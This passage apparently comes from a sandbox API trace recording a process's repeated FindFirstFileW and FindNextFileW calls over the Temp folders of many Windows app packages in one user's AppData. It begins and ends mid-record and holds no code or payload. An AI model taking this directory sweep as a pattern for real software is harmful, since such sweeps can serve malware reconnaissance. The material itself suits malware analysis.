ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0200.867] FindNextFileW (in: hFindFile=0x30d18b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74c17df3, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xcf230fa0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x74c17df3, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 0 [0200.867] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\AC\\Temp\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7662ba0f, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xcf74691a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7662ba0f, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x30d1b70 [0200.867] FindNextFileW (in: hFindFile=0x30d1b70, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7662ba0f, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xcf74691a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7662ba0f, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0200.867] FindNextFileW (in: hFindFile=0x30d1b70, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7662ba0f, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xcf74691a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7662ba0f, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 0 [0200.867] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\Temp\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81593ae3, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd040b5ed, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x81593ae3, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x30d1c70 [0200.868] FindNextFileW (in: hFindFile=0x30d1c70, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81593ae3, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd040b5ed, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x81593ae3, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0200.868] FindNextFileW (in: hFindFile=0x30d1c70, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81593ae3, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd040b5ed, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x81593ae3, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 0 [0200.868] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.HolographicFirstRun_cw5n1h2txyewy\\AC\\Temp\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x75e71ae4, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x75e71ae4, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x75e71ae4, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x30d1cb0 [0200.868] FindNextFileW (in: hFindFile=0x30d1cb0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x75e71ae4, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x75e71ae4, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x75e71ae4, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0200.868] FindNextFileW (in: hFindFile=0x30d1cb0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x75e71ae4, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x75e71ae4, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x75e71ae4, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 0 [0200.868] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ModalSharePickerHost_cw5n1h2txyewy\\AC\\Temp\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7544fabf, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7544fabf, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7544fabf, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x30d27b0 [0200.868] FindNextFileW (in: hFindFile=0x30d27b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7544fabf, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7544fabf, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7544fabf, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0200.868] FindNextFileW (in: hFindFile=0x30d27b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7544fabf, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7544fabf, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7544fabf, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 0 [0200.868] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.OOBENetworkCaptivePortal_cw5n1h2txyewy\\AC\\Temp\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74b8500e, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x74b8500e, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x74b8500e, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x30d22b0 [0200.869] FindNextFileW (in: hFindFile=0x30d22b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74b8500e, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x74b8500e, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x74b8500e, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0200.869] FindNextFileW (in: hFindFile=0x30d22b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74b8500e, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x74b8500e, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x74b8500e, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 0 [0200.869] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.OOBENetworkConnectionFlow_cw5n1h2txyewy\\AC\\Temp\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74116aed, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x74116aed, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x74116aed, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x30d2230 [0200.869] FindNextFileW (in: hFindFile=0x30d2230, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74116aed, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x74116aed, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x74116aed, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0200.869] FindNextFileW (in: hFindFile=0x30d2230, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74116aed, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x74116aed, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x74116aed, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 0 [0200.869] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ParentalControls_cw5n1h2txyewy\\AC\\Temp\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x825856ce, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd0d93da9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x825856ce, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x30d2170 [0200.869] FindNextFileW (in: hFindFile=0x30d2170, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x825856ce, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd0d93da9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x825856ce, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0200.869] FindNextFileW (in: hFindFile=0x30d2170, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x825856ce, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd0d93da9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x825856ce, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 0 [0200.870] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Photos_8wekyb3d8bbwe\\AC\\Temp\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1fd784cd, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd0e90b81, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1fd784cd, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x30d2130 [0200.870] FindNextFileW (in: hFindFile=0x30d2130, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1fd784cd, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd0e90b81, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1fd784cd, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0200.870] FindNextFileW (in: hFindFile=0x30d2130, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1fd784cd, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd0e90b81, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1fd784cd, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 0 [0200.870] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.SecHealthUI_cw5n1h2txyewy\\AC\\Temp\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x726dcc78, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x726dcc78, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x726dcc78, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x30d27f0 [0200.870] FindNextFileW (in: hFindFile=0x30d27f0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x726dcc78, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x726dcc78, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x726dcc78, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0200.870] FindNextFileW (in: hFindFile=0x30d27f0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x726dcc78, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x726dcc78, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x726dcc78, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 0 [0200.870] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.SecondaryTileExperience_cw5n1h2txyewy\\AC\\Temp\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x833d38ba, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd108027c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x833d38ba, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x30d24f0 [0200.871] FindNextFileW (in: hFindFile=0x30d24f0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x833d38ba, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd108027c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x833d38ba, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0200.871] FindNextFileW (in: hFindFile=0x30d24f0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x833d38ba, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd108027c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x833d38ba, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 0 [0200.871] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.SecureAssessmentBrowser_cw5n1h2txyewy\\AC\\Temp\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x702cd265, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x702cd265, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x702cd265, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x30d2470 [0200.871] FindNextFileW (in: hFindFile=0x30d2470, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x702cd265, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x702cd265, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x702cd265, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0200.871] FindNextFileW (in: hFindFile=0x30d2470, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x702cd265, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x702cd265, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x702cd265, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 0 [0200.871] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy\\AC\\Temp\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8a703502, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd12c905b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8a703502, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x30d21b0 [0200.871] FindNextFileW (in: hFindFile=0x30d21b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8a703502, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd12c905b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8a703502, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0200.871] FindNextFileW (in: hFindFile=0x30d21b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8a703502, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd12c905b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8a703502, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 0 [0200.871] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.WindowPicker_cw5n1h2txyewy\\AC\\Temp\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x71ce0e7e, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x71ce0e7e, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x71ce0e7e, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x30d2370 [0200.872] FindNextFileW (in: hFindFile=0x30d2370, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x71ce0e7e, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x71ce0e7e, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x71ce0e7e, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0200.872] FindNextFileW (in: hFindFile=0x30d2370, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x71ce0e7e, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x71ce0e7e, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x71ce0e7e, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 0 [0200.872] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsAlarms_8wekyb3d8bbwe\\AC\\Temp\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea16dae4, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd152c735, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xea16dae4, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x30d23f0 [0200.872] FindNextFileW (in: hFindFile=0x30d23f0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea16dae4, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd152c735, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xea16dae4, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0200.872] FindNextFileW (in: hFindFile=0x30d23f0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea16dae4, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd152c735, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xea16dae4, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 0 [0200.872] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsCalculator_8wekyb3d8bbwe\\AC\\Temp\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1c655d83, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd16e9663, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1c655d83, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x30d2630 [0200.872] FindNextFileW (in: 